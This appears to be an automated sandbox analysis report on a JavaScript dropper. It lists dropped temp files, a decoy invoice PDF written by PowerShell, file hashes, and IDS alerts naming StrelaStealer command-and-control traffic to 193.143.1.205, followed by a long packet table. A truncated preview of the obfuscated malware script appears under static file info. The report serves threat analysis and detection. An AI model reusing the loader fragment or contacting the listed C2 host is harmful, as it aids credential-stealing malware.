SHA-512:	0CA1A1F9651DD0E7E3671740D2569A24C431AD7E53CA9DF92F8B71A0183802D49D4AB3AF2D0A842E1258E1EE4B8BB25B9050C67F8A441AA56E2BC9757FCFE37E
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\32ea8e35-b13e-46c8-8302-256e3ec325f2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4456472d-b130-43ce-8224-87402846997f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6a159cc6-aa9e-4167-b66e-15708e2386ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a8023e65-d8c3-4580-8ac7-ea333bade43e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17291), with CRLF line terminators
Entropy (8bit):	4.916392157967005
TrID:
File name:	12524190021110725310.js
File size:	20'829 bytes
MD5:	2e22eb8429a2d90a393ac702972f6dd4
SHA1:	f0af86146278a6170d0a6d8f3b423813c7c15ec2
SHA256:	63d2bcd710fe88f8832e0b1f7c03e7da9f4747fb76cb545e97bc2016ba09f2a2
SHA512:	62e51be01685125d935a47e2e643dbf96b5fd0e482a79e261b95185d3b78975ddc80fb664cb330c4afea2cf53c9ddf8c6c1e1a815832d28363ecf115c177c4bb
SSDEEP:	384:TYY5LfdYhhJE1rtur4vORNJTvtScabBPobKqV:TYY5L2hJE1rtuWORLpAbWmW
TLSH:	BE9214D5C84EB61780ED09F2531E1CAA33D91349C9A8620F5C2955813F25C7CFAFA2FA
File Content Preview:	function krbsfzxn(){scmuykv=[1031,3079,5127,4103,2055,3072];var eernejnbh=this[uhcjs+aclegd+tnocwusd+wpykjvp+mizgspc+qksrb+rxcwrltd+zsiloukp](this[cqrno+sytydm+cgunyem+tnocwusd+diybam+uhcjs+zsiloukp][gkqvf+tnocwusd+mizgspc+aclegd+zsiloukp+mizgspc+jlwjha+z

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:42:35.583550+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49723	193.143.1.205	80	TCP
2025-01-11T03:42:35.583550+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49723	193.143.1.205	80	TCP
2025-01-11T03:42:38.801864+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49743	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:42:34.785465956 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:34.790405035 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:34.790518999 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:34.793642044 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:34.798527956 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583404064 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583446980 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583457947 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583470106 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583528996 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583549976 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.583556890 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583568096 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583611012 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.583647013 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583658934 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583683014 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.583708048 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.583743095 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.588359118 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.588372946 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.588462114 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.626220942 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.626245022 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.626255035 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.626322031 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.676858902 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.712023020 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712043047 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712053061 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712136984 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.712182045 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712193966 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712224007 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.712440014 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712475061 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.712487936 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712498903 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712532997 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.712836027 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712949038 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712959051 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.712981939 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.713253021 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.713289022 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.713294029 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.713305950 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.713335991 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.713404894 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.713416100 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.713454008 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.714121103 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714164972 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714178085 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714199066 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.714287043 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714318991 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.714742899 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714802027 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714812994 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714834929 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.714890003 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.714921951 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.754622936 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.754646063 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.754731894 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.800930977 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.800942898 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.801088095 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.866127014 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866153955 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866167068 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866209984 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.866215944 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866228104 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866260052 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.866450071 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866458893 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866628885 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866640091 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866651058 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866723061 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.866820097 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866913080 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866923094 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.866950989 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.866969109 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867007971 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.867221117 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867268085 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867280006 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867311954 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.867458105 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867500067 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.867513895 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867594004 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867635965 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.867646933 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867657900 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867697001 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.867882967 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867902994 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867913008 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.867942095 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.868145943 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868196011 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868202925 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.868206978 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868257046 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868282080 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.868556023 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868578911 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868591070 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868599892 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.868628025 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.868894100 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868905067 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868916035 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.868938923 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.869066000 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869102001 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869107962 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.869115114 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869158983 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.869262934 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869273901 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869285107 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869304895 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869326115 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.869352102 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.869359016 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.869962931 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870004892 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870008945 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.870017052 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870054007 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.870140076 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870151043 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870162964 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870191097 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.870246887 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.870285988 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.913455963 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.913513899 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.913546085 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.913577080 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.949024916 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.949085951 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.949103117 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.949119091 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.949153900 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.949166059 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.954521894 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.954565048 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.995706081 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995771885 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995810986 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995852947 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.995863914 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995917082 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995918036 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.995951891 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.995986938 CET	80	49723	193.143.1.205	192.168.2.7
Jan 11, 2025 03:42:35.996001005 CET	49723	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:42:35.996037960 CET	80	49723	193.143.1.205	192.168.2.7
